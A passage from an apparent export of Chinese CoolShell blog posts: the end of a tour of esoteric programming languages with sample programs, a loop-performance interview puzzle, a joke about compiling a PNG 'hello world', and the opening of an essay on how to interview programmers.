PRINT ONE GOTO ONE ONE ONE\nLINE NUMBER ONE ONE ONE CODE PRINT ZERO\nLINE NUMBER ONE ZERO ZERO ZERO CODE THE JUMP REGISTER EQUALS OPEN PARENTHESIS VARIABLE ZERO NAND VARIABLE ZERO CLOSE PARENTHESIS NAND OPEN PARENTHESIS VARIABLE ONE NAND VARIABLE ONE CLOSE PARENTHESIS GOTO ONE ZERO ZERO ONE IF THE JUMP REGISTER IS EQUAL TO ZERO GOTO ONE ZERO ONE ZERO IF THE JUMP REGISTER IS EQUAL TO ONE\nLINE NUMBER ONE ZERO ZERO ONE CODE PRINT ZERO\nLINE NUMBER ONE ZERO ONE ZERO CODE PRINT ONE</pre>\n当然，对于空格和换行符，显得太冗余了，去掉他们也没有问题。\n<pre style=\"padding-left: 30px;\">LINENUMBERONECODEREADGOTOONEZEROLINENUMBERONEZEROCODEVARIABLEZEROEQUALSTHEJUMPR\nEGISTERGOTOONEONELINENUMBERONEONECODEREADGOTOONEZEROZEROLINENUMBERONEZEROZEROCO\nDEVARIABLEONEEQUALSTHEJUMPREGISTERGOTOONEZEROONELINENUMBERONEZEROONECODETHEJUMP\nREGISTEREQUALSOPENPARENTHESISVARIABLEZERONANDVARIABLEONECLOSEPARENTHESISNANDOPE\nNPARENTHESISVARIABLEZERONANDVARIABLEONECLOSEPARENTHESISGOTOONEONEZEROIFTHEJUMPR\nEGISTERISEQUALTOONEGOTOONEZEROZEROZEROIFTHEJUMPREGISTERISEQUALTOZEROLINENUMBERO\nNEONEZEROCODEPRINTONEGOTOONEONEONELINENUMBERONEONEONECODEPRINTZEROLINENUMBERONE\nZEROZEROZEROCODETHEJUMPREGISTEREQUALSOPENPARENTHESISVARIABLEZERONANDVARIABLEZER\nOCLOSEPARENTHESISNANDOPENPARENTHESISVARIABLEONENANDVARIABLEONECLOSEPARENTHESISG\nOTOONEZEROZEROONEIFTHEJUMPREGISTERISEQUALTOZEROGOTOONEZEROONEZEROIFTHEJUMPREGIS\nTERISEQUALTOONELINENUMBERONEZEROZEROONECODEPRINTZEROLINENUMBERONEZEROONEZEROCOD\nEPRINTONE</pre>\n<h4>Haifu</h4>\n<a href=\"http://www.dangermouse.net/esoteric/haifu.html\" target=\"_blank\">Haifu</a>程序语言也是David Morgan-Mar 搞出来的。从命名上就可以看出来它是一个汉语拼音。正是如此，作者想使用东方的哲学来创造一种编程的语言。其中还有Yin（阴）和 Yang（阳）——相当于布尔变量中的True/False，当然，也有金（Metal）木（Wood）水（Water）火（Fire）土（Earth）。呵呵。\n<ul>\n\t<li>Wood: tree, grass, cherry, oak.</li>\n\t<li>Fire: flame, ash, smoke, embers.</li>\n\t<li>Earth: soil, mountain, rock, plain.</li>\n\t<li>Metal: sword, iron, plough, knife.</li>\n\t<li>Water: rain, snow, river, ice.</li>\n</ul>\n自然出现了一张关系表：\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"3\">\n<tbody>\n<tr>\n<th>元素关系</th>\n<th>操作</th>\n</tr>\n<tr>\n<td>B 生A</td>\n<td>A+B</td>\n</tr>\n<tr>\n<td>B 克 A</td>\n<td>A-B</td>\n</tr>\n<tr>\n<td>B 怕 A</td>\n<td>A/B</td>\n</tr>\n<tr>\n<td>B 爱 A</td>\n<td>A*B</td>\n</tr>\n<tr>\n<td>B 就是 A</td>\n<td>如果A和B都是阳，则是阳，否则是阴</td>\n</tr>\n</tbody>\n</table>\n<h4>Piet</h4>\nDavid Morgan-Mar 发明的用位图编程的<a href=\"http://www.dangermouse.net/esoteric/piet.html\" target=\"_blank\">Piet语言</a>也是BT到了极致，你还记得前两的那个“<a title=\"我有一个Hello World的C++程序编译不过\" href=\"https://coolshell.cn/articles/4170.html\" target=\"_blank\">我的hello world编不过去</a>”文章中的那个强人用windows的画图程序编程的例子吗？呵呵Piet完全是用位图编程的语言。\n\n下面这个图片就是其Hello World的示例：\n<p style=\"text-align: center;\"><a href=\"http://www.topdesignmag.com/wp-content/uploads/2011/04/Piet_hello_big.png\"><img class=\"aligncenter\" title=\"Piet_hello_big\" src=\"http://www.dangermouse.net/esoteric/piet/Piet_hello_big.png\" alt=\"\" width=\"150\" height=\"145\" /></a></p>\n<p style=\"text-align: left;\">再看看斐波拉契数列的程序示例:</p>\n<p style=\"text-align: center;\"><a href=\"http://www.dangermouse.net/esoteric/piet/fibbig.gif\"><img class=\"aligncenter\" src=\"http://www.dangermouse.net/esoteric/piet/fibbig.gif\" alt=\"\" width=\"110\" height=\"121\" /></a></p>\n这里还有更多的示例：<a href=\"http://www.dangermouse.net/esoteric/piet/samples.html\">http://www.dangermouse.net/esoteric/piet/samples.html</a>\n<h4><strong>Malbolge</strong></h4>\n<a href=\"http://www.lscheffer.com/malbolge.shtml\" target=\"_blank\">Malbolge语言</a>，是最早的一个以代码丑陋为目标而设计出的程序语言，你几乎不可能读懂Malbolge的代码。它共有8条指令，所有运算都基于3进制，控制程序流的唯一指令是无条件跳转。其是BenOlmstead在1998年引进公共领域的深奥程序语言，名称来源于“the eighth circle of hell in Dante’s Inferno”，之后更名为Malbolge。\n\n这被认为是地狱级的编程语言。\n\n看看它的Hello World程序：\n<pre style=\"padding-left: 30px;\"><code>('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=<M:9wv6WsU2T|nm-,jcL(I&%$#\"\n ]V?Tx<uVtTRpo3NlF.Jh++FdbCBA@?]!~|4XzyTT43Qsqq(Lnmkj\"Fhg${z@></code></pre>\n<h4>Unlambda</h4>\n关于<a href=\"http://www.madore.org/~david/programs/unlambda/\" target=\"_blank\">Unlambda语言</a>，David Madore是这个语言的发明人，他于1976年8月3日生于法国，其是法国-加拿大籍数学家和计算机科学爱好者）。在unlambda里，所有东西都是函数。基本操作就是S， K， 和I三个组合子。当然，unlambda也加入一些扩展，让程序稍微好些一点。\n<pre style=\"padding-left: 30px;\">ki\n ss\n     ksss\n               kkk\n                               .H.e.l.l.o.,. .w.o.r.l.d.!\n                        k\n      k\n  kss`k.*\n```\n\n#### Ook!\n\n\n[Ook! 语言](http://www.dangermouse.net/esoteric/ook.html)也是David Morgan-Mar 发明的，与Brainfuck类似, 但用单词“`Ook！”`，“`Ook.`” 和“`Ook?`”代替。我们来看一个Hello World的一个示例：\n\n\n\n```\nOok. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.\nOok. Ook. Ook. Ook. Ook! Ook? Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.\nOok. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook! Ook! Ook? Ook! Ook? Ook.\nOok! Ook. Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.\nOok. Ook. Ook! Ook? Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook?\nOok! Ook! Ook? Ook! Ook? Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook.\nOok. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook. Ook. Ook. Ook. Ook.\nOok. Ook. Ook! Ook. Ook. Ook? Ook. Ook? Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook.\nOok. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook? Ook. Ook. Ook.\nOok. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook! Ook! Ook? Ook! Ook? Ook. Ook! Ook.\nOok. Ook? Ook. Ook? Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.\nOok. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook? Ook. Ook. Ook.\nOok. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.\nOok. Ook? Ook! Ook! Ook? Ook! Ook? Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook.\nOok? Ook. Ook? Ook. Ook? Ook. Ook? Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook.\nOok! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook.\nOok! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!\nOok! Ook. Ook. Ook? Ook. Ook? Ook. Ook. Ook! Ook.\n```\n\n下面是一些转换器和解释器：\n\n\n* [Java Ook!-to-BrainF\\*\\*\\* 和 BrainF\\*\\*\\*-to-Ook! 转换器](http://www.dangermouse.net/esoteric/Ook.java).\n* [Ook! Ruby解释器](http://www.ruby-lang.org/en/raa-list.rhtml?name=RubyOok).\n* [Ook! Python解释器](http://www.orakel.ntnu.no/~oyving/code/python/pook.py).\n* [Ook!  .Net 编译器叫Ook#](http://bluesorcerer.net/esoteric/ook.html)\n* [Ook! perl 解释器](http://search.cpan.org/search?module=Acme::Ook).\n\n\n#### **TMMLPTEALPAITAFNFAL**\n\n\n你没看错，上面这一排毫无意义的字母是一个语言的名称。它是The Multi-Million Language Project To End All Language Projects And Isn’t That A Fine Name For A Language的缩写。[TMMLPTEALPAITAFNFAL语言](http://p-nand-q.com/humor/programming_languages/tmmlpteal.html)没有固定的语法规则，每一天都是不同的语法。例如，2000年10月13日你可以使用DIV但不能使用MOD；到了10月14日时你可以使用MOD了但DIV又不能用了。因此，你今天写的程序运行起来完全正常，但是到了明天就无法编译了。下面是一个TMMLPTEALPAITAFNFAL的Hello World程序，当然现在已经无法编译了。\n\n\n\n```\nDECLARE CELL 100 AS READPOS\n DECLARE 10 AS NEWLINE\n WRITE CHAR NEWLINE\n COPY \"Hello, World\" TO CELL 0\n COPY 0 TO READPOS\n WHILE READPOS INDIRECT DO GOSUB 300\n WRITE CHAR NEWLINE\n RETURN\nLINE 300: WRITE CHAR READPOS INDIRECT\n ADD 1 TO READPOS\n RETURN\n```\n\n#### INTERCAL\n\n\n[INTERCAL语言](http://catb.org/~esr/intercal/)（[Wikipedia](http://en.wikipedia.org/wiki/INTERCAL)）全称是“Compiler Language With No Pronounceable Acronym”。自认为是“超级黑客”的人可以试试用这个语言写程序。由老牌黑客[Don Woods](http://en.wikipedia.org/wiki/Don_Woods) 和 [James M. Lyon](http://en.wikipedia.org/wiki/James_M._Lyon) 在1972年发明，其是用来讽刺当时的那些编程语言。今天 这个语言有两个版本，一个是由牛人[Eric S. Raymond](http://en.wikipedia.org/wiki/Eric_S._Raymond)维护的C-INTERCAL，另一个是Claudio Calvelli 维护的CLC-INTERCAL。（**注**：在自由软件启蒙阶段，[Eric S. Raymond](http://en.wikipedia.org/wiki/Eric_S._Raymond)以如椽之笔呼啸而出，其核心著作被业界成为”五部曲”：《黑客道简史》（A Brief History of Hackerdom）、 《大教堂和市集》（The Cathedral and the Bazaar）、《如何成为一名黑客》（How To Become A Hacker）、《开拓智域》（Homesteading the Noosphere）、《魔法大锅炉》（The Magic Cauldron）。其中最著名的当然还是《大教堂和市集》，它在自由软件运动中的地位相当于基督教的《圣经》。而用黑客们的话说，这是”黑客藏经阁”的 第一个收藏。）\n\n\n来看看其Hello World的程序：\n\n\n\n```\nDO ,1 <- #13\nPLEASE DO ,1 SUB #1 <- #238\nDO ,1 SUB #2 <- #108\nDO ,1 SUB #3 <- #112\nDO ,1 SUB #4 <- #0\nDO ,1 SUB #5 <- #64\nDO ,1 SUB #6 <- #194\nDO ,1 SUB #7 <- #48\nPLEASE DO ,1 SUB #8 <- #22\nDO ,1 SUB #9 <- #248\nDO ,1 SUB #10 <- #168\nDO ,1 SUB #11 <- #24\nDO ,1 SUB #12 <- #16\nDO ,1 SUB #13 <- #162\nPLEASE READ OUT ,1\nPLEASE GIVE UP\n```\n\n#### HQ9++\n\n\n[HQ9++语言](http://www.dangermouse.net/esoteric/hq9plusplus.html)同样是David Morgan-Mar 发明的，其带有四个指令的joke语言。\n\n\n* **H**: 输出 [“hello,world”](http://www.esolangs.org/wiki/Hello%2C_world%21 \"Hello,world!\")\n* **Q**: 输出程序员的源代码\n* **9**: 打印 [“99 Bottles of Beer”](http://www.esolangs.org/wiki/99_bottles_of_beer \"99 bottles of beer\") 的歌词\n* **+**: 累加器\n\n\n#### **PerlYuYan**\n\n\n[PerlYuYa](http://zh.wikipedia.org/wiki/PerlYuYan)n语言是一个能令人使用中文文言文开发程式 Perl 程式的 Perl 模块，由[唐凤](http://zh.wikipedia.org/wiki/%E5%94%90%E9%B3%B3)于2002年一月发表。它是[中文编程语言](http://zh.wikipedia.org/wiki/%E4%B8%AD%E6%96%87%E7%B7%A8%E7%A8%8B%E8%AA%9E%E8%A8%80)的尝试。作者利用中文的特质，将许多指令改成以一个中国汉字来表示，因而造成了文言语法的感觉。\n\n\n看看下面的这段代码，相当的文言文啊。有兴趣可以[去CPAN上下载](http://search.cpan.org/~autrijus/Lingua-Sinica-PerlYuYan-0.03/)回来玩玩。\n\n\n\n```\n#!/usr/local/bin/perl\n\nuse Lingua::Sinica::PerlYuYan;\n\n用警兮用嚴。\n\n印道\n一至一\n哉兮\n\n印編曰雜申雜申矣\n  又纖曰龍鼠矣\n    又曰一矣\n\n亂曰\n國無人莫我知兮    又何懷乎故都\n既莫足與為美政兮  吾將從彭咸之所居\n```\n\n还有下面这个五言。\n\n\n\n```\n# The Sieve of Eratosthenes - 埃拉托斯芬篩法\nuse Lingua::Sinica::PerlYuYan;\n\n  用籌兮用嚴。井涸兮無礙\n。印曰最高矣  又道數然哉。\n。截起吾純風  賦小入大合。\n。習予吾陣地  並二至純風。\n。當起段賦取  加陣地合始。\n。陣地賦篩始  繫繫此雜段。\n。終陣地兮印  正道次標哉。\n。輸空接段點  列終註泰來。\n```\n\n \n\n\n#### 参考：\n\n\n* [Esoteric\\_programming\\_languages](http://en.wikipedia.org/wiki/Category:Esoteric_programming_languages)\n* [Top 13 Most Absurd Programming Languages](http://www.topdesignmag.com/top-13-most-absurd-programming-languages/)\n* [Befunge语言和文言文编程](http://wei.si/blog/2011/04/befunge-and-perlyuyan/)\n* [疯狂的编程语言——ENGLISH，Chef，Shakespeare](http://hi.baidu.com/namekin/blog/item/9f36f21fc6be296df724e452.html)\n* [DM’s Esoteric Programming Languages](http://www.dangermouse.net/esoteric/)\n* [十大另类程序语言（上）](http://www.matrix67.com/blog/archives/253 \"Permanent Link to 十大另类程序语言（上）\")\n* [十大另类程序语言（下）](http://www.matrix67.com/blog/archives/255 \"Permanent Link to 十大另类程序语言（下）\")\n\n\n看过这些，我我还有什么好说的呢，什么C/C++/Java，神马都是浮云了……\n\n\n(全文完) \n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg](https://coolshell.cn/articles/2529.html)[StackOverflow的404错误页](https://coolshell.cn/articles/2529.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg](https://coolshell.cn/articles/1142.html)[BT雷人的程序语言](https://coolshell.cn/articles/1142.html)\n* [![K Nearest Neighbor 算法](../wp-content/uploads/2012/08/220px-KnnClassification.svg_-150x150.png)](https://coolshell.cn/articles/8052.html)[K Nearest Neighbor 算法](https://coolshell.cn/articles/8052.html)\n* [![CSS 布局:40个教程、技巧、例子和最佳实践](../wp-content/uploads/2012/03/css-layouts-150x150.gif)](https://coolshell.cn/articles/6840.html)[CSS 布局:40个教程、技巧、例子和最佳实践](https://coolshell.cn/articles/6840.html)\n* [![由一个问题到 Resin ClassLoader 的学习](../wp-content/uploads/2011/12/resin01-150x150.png)](https://coolshell.cn/articles/6112.html)[由一个问题到 Resin ClassLoader 的学习](https://coolshell.cn/articles/6112.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](https://coolshell.cn/articles/5388.html)[C语言中史上最愚蠢的Bug](https://coolshell.cn/articles/5388.html)\nThe post [BT雷人的程序语言（大全）](https://coolshell.cn/articles/4458.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-4-2 又一个有趣的面试题.md",
    "content": "---\nlayout: post\ntitle: 又一个有趣的面试题\ndate: 2011/4/2/ 3:22:3\nupdated: 2011/4/2/ 3:22:3\nstatus: publish\npublished: true\ntype: post\n---\n\n大家还记得前些天的那个[火柴棍式的面试题](https://coolshell.cn/articles/3961.html \"“火柴棍式”程序员面试题\")吗？很有趣吧。下面是我今天在StackExchange上看到的一个[有趣的面试题](http://programmers.stackexchange.com/questions/64132/interesting-interview-question)。大家不妨一起来思考一下。问题如下——\n\n\n有两个相同功能代码如下，**请在在A，B，C是什么的情况下，请给出三个原因case 1比case 2快，还有三个原因case 2会比case 1要执行的快。**（不考虑编译器优化）\n\n\n\n```\n\nfor (i=0; i<N; ++i){\n    A;\n    B;\n    C;\n}\n```\n\n\n```\n\nfor (i=0; i<N; ++i){\n    A;\n}\nfor (i=0; i<N; ++i){\n    B;\n}\nfor (i=0; i<N; ++i){\n    C;\n}\n```\n\n我的第一个反应是——\n\n\n\n* case1 要快一些，因为只有一个i++的i<N的操作，而case 2却有三个，这在点上，case 1就比case 2要快。\n* case2如果要快的话，有一个原因是，A, B, C其中一个需要去先获得一个资源（比如一个锁），在case1下，每次都要去拿这个资源，而case2下，只需要拿一次然后。但这个可能是不对的，因为我无法想出一个相同的语句块放在case 1中会和放在case 2中有差别。（不过可能比较接近了）\n\n\n继续思考：这个题有点像是“**同步和异步**”的问题，case 1是同步，case 2是异步，所以，异步快于同步，也许可以从这个方向出发，写出A, B, C的语句块。\n\n\n不过，其要三个原因啊。**各位，你们有想法吗**？\n\n\n**—-更新 1—-**\n\n\n刚才在twitter上与人讨论，发现又有一种情况，case 2要比case 1要快。比如，A, B, C分别访问是不同的内存块（数组），那么case 1就得在不同的内存块上来回切换寻址，而case2则可以连续地访问内存块。访问连续的内存效率要高。尤其是三块大内存。\n\n\n**—-更新 2—**\n\n\n正如本贴评论中所说的，CPU的cache也是其中一个因素。大家对底层知识了解的都很不错啊。赞一个。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![一个fork的面试题](../wp-content/uploads/2012/07/fork01jpg-150x150.jpg)](https://coolshell.cn/articles/7965.html)[一个fork的面试题](https://coolshell.cn/articles/7965.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg](https://coolshell.cn/articles/3961.html)[“火柴棍式”程序员面试题](https://coolshell.cn/articles/3961.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg](https://coolshell.cn/articles/3738.html)[打印质数的各种算法](https://coolshell.cn/articles/3738.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3445.html)[输出从1到1000的数](https://coolshell.cn/articles/3445.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/10478.html)[C++面试中string类的一种正确写法](https://coolshell.cn/articles/10478.html)\nThe post [又一个有趣的面试题](https://coolshell.cn/articles/4162.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-4-2 我有一个Hello World的C++程序编译不过.md",
    "content": "---\nlayout: post\ntitle: 我有一个Hello World的C++程序编译不过\ndate: 2011/4/2/ 6:33:57\nupdated: 2011/4/2/ 6:33:57\nstatus: publish\npublished: true\ntype: post\n---\n\n在StackOverflow上有这样[一个贴子](http://stackoverflow.com/questions/5508110/why-is-this-program-erroneously-rejected-by-three-c-compilers)，楼主说，我有下面这样的一个C++程序，为什么编译不通过啊。其让我想起了以前的这两个帖子《[编程真难啊](https://coolshell.cn/articles/1391.html \"编程真难啊\")》和《[给我一个序列号](https://coolshell.cn/articles/1693.html \"给我一个序列号\")》。**仅以此篇文章祝大家假期快乐吧**。\n\n\nhttp://i.stack.imgur.com/JQXWL.png \"hello world 程序\"hello world 程序\n楼主还给出了相关的编译出错的信息（相信你一看就明白问题在哪里了，你应该还会发出一声“靠”！！！）\n\n\n先是用Visual C++ 2010编译\n\n\n\n```\nc:\\dev>cl /nologo helloworld.png\ncl : Command line warning D9024 : unrecognized source file type 'helloworld.png', object file assumed\nhelloworld.png : fatal error LNK1107: invalid or corrupt file: cannot read at 0x5172\n```\n\n再用G++ 4.5.2编译\n\n\n\n\n```\nc:\\dev>g++ helloworld.png\nhelloworld.png: file not recognized: File format not recognized\ncollect2: ld returned 1 exit status\n```\n\n再用clang编译\n\n\n\n```\nc:\\dev>clang++ helloworld.png\nhelloworld.png: file not recognized: File format not recognized\ncollect2: ld returned 1 exit status\nclang++: error: linker (via gcc) command failed with exit code 1 (use -v to see invocation)\n```\n\n不过，最强大的，有人居然给出了一个fix，靠！  \n\n（下面的图片是一个4M大的gif动画，演示了整个过程，下载可能需要一定的时间。）\n\n\n[http://i.imgur.com/QlGpd.gif \"hello world 的解决方案\"](http://i.imgur.com/QlGpd.gif)hello world 的解决方案 （图片有点大4M，请耐心等待下载）\n真是BT啊，呵呵。**仅以此篇文章祝大家假期快乐吧**。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\n* [![C语言的整型溢出问题](../wp-content/uploads/2014/04/c99-150x150.jpg)](https://coolshell.cn/articles/11466.html)[C语言的整型溢出问题](https://coolshell.cn/articles/11466.html)\nThe post [我有一个Hello World的C++程序编译不过](https://coolshell.cn/articles/4170.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-4-20 再谈“我是怎么招聘程序员的”（上）.md",
    "content": "---\nlayout: post\ntitle: 再谈“我是怎么招聘程序员的”（上）\ndate: 2011/4/20/ 0:36:55\nupdated: 2011/4/20/ 0:36:55\nstatus: publish\npublished: true\ntype: post\n---\n\n我以前写过一篇“[我是怎么招聘程序员的](https://coolshell.cn/articles/1870.html \"我是怎么招聘程序员的\")”的文章（在[CSDN那里](http://blog.csdn.net/haoel/archive/2009/12/18/5032418.aspx \"我是怎么招聘程序员（CSDN）\")有很多人进行了回复）。今天，我想再谈谈关于招聘和面试这方面的东西，主要是以下这些原因：\n\n\n* 近半年来我在进行了大量的招聘工作，对面试有一些新的体会。\n* 酷壳最近发布了几篇趣味面试题（[面试题一](https://coolshell.cn/articles/4429.html \"面试题：火车运煤问题\")，[面试题二](https://coolshell.cn/articles/4162.html \"又一个有趣的面试题\")，[面试题三](https://coolshell.cn/articles/3961.html \"“火柴棍式”程序员面试题\")），从回复中让我有一些思考。\n* 我有一个同事最近面试了一家公司，他和我分享了一个博士专家对他的面试，也让我思考了一些。\n* 在豆瓣上看到“[知乎上某人写面试豆瓣产品经理的经历，很欢乐](http://www.douban.com/note/146145117/ \"知乎上某人写面试豆瓣产品经理的经历，很欢乐\")”(亮点是面试官现身知乎亲自作答)\n\n\n所以，我很想把自己的这些新的想法再次写下来的。还是和以前一样，这篇文章同样是献给面试官的。我认为，面试的好坏完全在面试官而不是面试的人。下面是我对“[我是怎么招聘程序员的](../articles/1870.html \"我是怎么招聘程序员的\")”一文中的一些加强性的观点。（关于一些点评，请参看[本文下篇](https://coolshell.cn/articles/4490.html)）\n\n\n为了让我的文章有连续性，请允许我重申一下前文的几个重要观点。\n\n\n* **只有应聘者真实和自然的表现，才能了解到最真实的东西**\n* **重要的不是知识，重要的是其查找知识的能力**\n* **重要的不是那个解题的答案，而是解题的思路和方法**\n\n\n#### 操作，知识，经验，能力\n\n\n我们有很多的面试官似乎分不清，什么是操作能力，什么是知识，什么是经验，什么是能力，这导致了我们的面试官经常错误地对面试者下结论，我认为分不清这些事的人是没有资格做面试官的。所以，我有必要在这里把这个问题先讲清楚。\n\n\n\nhttps://coolshell.cn/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif \"更多...\"\n\n\n* **操作**。我们的面试官分不清楚什么是操作技能，什么是知识，他们甚至认为操作技能就是知识甚至经验。比如他们会 问如下的问题，请问Java中的 final是什么意思？怎么查看进程的CPU利用率？怎么编写一个管道程序？怎么查看进程的程序路径？VI中的拷贝粘贴命令是什么？包括面向对象的XX模 式是什么。等等。我以为，**这些能够通过查况相关操作手册或是能够google到的东西只能说明这个人的操作技术，并不能说明他有知识或有经验**。\n\n\n* **知识**。知识是一个人认知和学习的体现，可能会是一些基础概念和知识。比如这些问题：TCP和UDP的优缺点比 较，链表和哈希表的优缺点的比较。什么是堆什么是栈？进程间是怎么通信的？进程和线程的优缺点？同步和异步的优缺点？面向对象的XX设计模式的主要原则是 什么，等等。我以为，**“知其然”只是操作技术，“知其所以然”才是真正的知识**。知识不够并不代表他不能工作，会操作技能就可以应付工作，但是知识的欠缺一定会限制你的经验和能力，同样会影响你的开发质量。\n\n\n* **经验**。经验通常跟一个人的经历有关系。一个人的知识范围，一个人经历过的事，通常会成为一个人经验的体现。面 试中，我们会问这些问题：你解决过最难的问题是什么？你是怎么设计这个系统的？你是怎么调试和测试你的程序的？你是怎么做性能调优的？什么样的代码是好的 代码？等等。对于工作年限不长的人来说，经历和做过的事的确会成为其经验的主要因素，尤其是业务上的有行业背景的东西。但是，我更以为，**经验可能更多的是你对知识的运用和驾驭，是你对做过事情的反思和总结，是你对他人的学习，观察和交流**。\n\n\n* **能力**。一个人的能力并不会因为知道东西少而不行，也不会因为没有经验而没有能力。**一个人的能力是他做事情的一种态度，性格，想法，思路，行为，方法和风格**。**只要有热情，有想法，有好的行为方法，以及好的行事风格，那么知识和经验对他来说只是一个时间问题**。 比如：学习能力，专研精神，分析能力，沟通能力，组织能力，问题调查能力，合作能力等等。所以，对于一个新手来说，也许他的知识和经验有限，但并不代表他 能力上有问题，但是对于一个老手来说，如果其存在知识和经验欠缺的问题，那么通常都是其能力的问题。你可能暂时怀才不遇，但我不相信你会长期怀才不遇。如 果是的话，那么你必然些问题其让你的能力发挥不出来。而此时，“没有经历过”只会是你“没有能力”的一个借口。\n\n\n我不否认这四样东西对于一个优秀的程序员来说都很重要。但是，通过上述的分析，我们可以知道，能力和经验和知识需要分开对待。当然，这些东西是相辅相成的，你的能力可以让你获得知识，你的知识可以让你更有经验，你的经验又会改变你的想法和思路，从而改善你的能力。**在面试中，我们需要清楚的认识到，应聘者的操作技能，知识和经验只是其能力的必要条件，并不是充要条件，而我们更应该关注于应聘者的能力**。\n\n\n* 如果面试只是考查这个人的操作技能的话，那么这个面试完全失败。这是一个没有资格的面试官。\n* 如果面试只是在考查这个人的知识和经验的话，那么成功了一半。因为你了解了基础知和做过的事，但这并不代表你完全了解他的真正能力。\n* 如果你能够在了解这个人的知识和经验的过程中重点关注其能力（态度、性格、想法，思路，行为，方法和风格），并能正确地评估这个人的能力，那么你的面试算是非常成功的。\n\n\n也许用这四个词来描述定套东西并不太合适，但我相信你明白我想表达的。另外，我想说的是，**我们不是出个题来考倒应聘者，而是要找到应聘者的亮点和长处**。\n\n\n#### 不要肤浅地认识算法题和智力题\n\n\n很多公司都会在面试的时候给一些算法题或是一些智力题或是一些设计题，我相信算法题或是智力题是程序员们在面试过程中最反感的事了。很多人都很BS面试官问的算法题，因为他们认为面试官问的这些算法题或智力题在实际工作当中用不到。但我想在这里说，**问难的算法智力题并没有错，错的很多面试官只是在肤浅甚至错误地理解着面试中的难题的目的**。他们认为，能做出算法题和智力题的人就是聪明的人就是有能力的人，这种想法实在是相当的肤浅。\n\n\n其实，能解难题并不意味着这个人就有能力就能在工作中解决问题，你可以想想，小学奥数题可能比这些题更难，但并不意味着那些奥数能手就有实际工作能力。你可 以想一想你们班考试得高分的同学并不一定就是聪明的人，也不一定就是有能力的人，相反，这样的人往往者是在应试教育下培养出来的书呆子。\n\n\n所以，我认为解难题的过程更重要，你要主要是通过解题查看这个应聘者的思路，方法，运用到的知识，有没有一些经验，和你一起交互时和沟通得是否顺畅，等等，这些才是你重点要去观察的。当然，最终是要找到答案的。\n\n\n我想，让面试者解决一个难题的真正思路是：\n\n\n* 